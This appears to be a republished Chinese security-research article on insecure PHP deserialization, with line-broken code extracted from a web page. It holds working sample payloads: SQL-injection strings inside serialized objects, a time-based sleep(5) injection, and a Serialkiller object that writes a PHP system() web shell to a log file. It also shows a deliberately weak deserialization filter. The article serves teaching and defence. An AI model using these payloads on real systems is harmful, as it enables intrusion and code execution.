O:3:"Car":3:{...}
s:5:"brand";s:6:"Toyota";
s:5:"model";s:5:"Camry";
s:4:"year";i:2022;
O:3:"Car":3:{s:5:"brand";s:6:"Toyota";s:5:"model";s:17:"Camry' or 1=1 -- ";s:4:"year";i:2022;}
echo base64_encode(serialize(["0" => "' or sleep(5) and '1'='1"]));
-
__destruct:析构函数 -
__wakeup:反序列化时先被调用,而后再执行反序列化,用于准备对象需要的资源 -
__sleep:序列化时先被调用,而后再执行序列化,用于清理对象 -
__toString:类被当做字符串时调用,该方法必须返回字符串 -
__invoke:类被当做函数使用时调用
O
:12
:"Serialkiller"
:4
:{
s
:
24
:
"%00Serialkiller%00cache_file"
;
s
:
16
:
"cache/john.cache"
;
s
:
22
:
"%00Serialkiller%00log_file"
;
s
:
13
:
"logs/john.log"
;
s
:
21
:
"%00Serialkiller%00content"
;
s
:
12
:
"Starting log"
;
s
:
18
:
"%00Serialkiller%00user"
;
s
:
4
:
"john"
;}
O:12:"Serialkiller":4:{s:24:"%00Serialkiller%00cache_file";s:5:"1.txt";s:22:"%00Serialkiller%00log_file";s:13:"logs/rce1.php";s:21:"%00Serialkiller%00content";s:24:"<?php%20system(%27ls%20~%27);%20?>";s:18:"%00Serialkiller%00user";s:4:"john";}
function
_safely_unserialize
($input)
{
if
(is_string($input) &&
in_array(substr($input,
0
,
1
),
array
(
'a'
,
'O'
,
'b'
))) {
$input =
"#"
. $input;
}
return
@unserialize($input);
}
_safely_unserialize($_POST[
'data'
]);
这段代码中,_safely_unserialize函数通过in_array方法判断用户可控的data参数是否是PHP序列化的三种类型,即数组(a)、对象(O)和布尔值(b),如果是其中之一的类型,则在字符串前增加#,从而导致在反序列化时造成反序列化失败,最终返回false值。该函数旨在判断序列化字符串是否是安全的,但判断方法仅仅是判断序列化类型。
class
obj
implements
Serializable
{
private
$data;
public
function
__construct
()
{
$this
->data =
"My private data"
;
}
public
function
serialize
()
{
return
serialize(
$this
->data);
}
public
function
unserialize
($data)
{
$this
->data = unserialize($data);
}
public
function
getData
()
{
return
$this
->data;
}
}
$obj =
new
obj;
$ser = serialize($obj);
var_dump($ser);
从PHP 8.1版本开始,官方不再鼓励从Serializable类继承serialize()和unserialize(),而是建议直接使用魔术方法__serialize()和__unserialize(),但生成的序列化类型会是O。
class
obj
{
public
$message;
public
function
__construct
()
{
$this
->message =
"My private data"
;
}
public
function
__serialize
()
{
return
[
'msg'
=>
$this
->message];
}
public
function
__unserialize
(array $data)
{
$this
->message = $data[
'msg'
];
}
}
$obj =
new
obj;
$ser = serialize($obj);
var_dump($ser);
var_dump(unserialize($ser));
原文始发于微信公众号(洞源实验室):PHP开发中的不安全反序列化
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论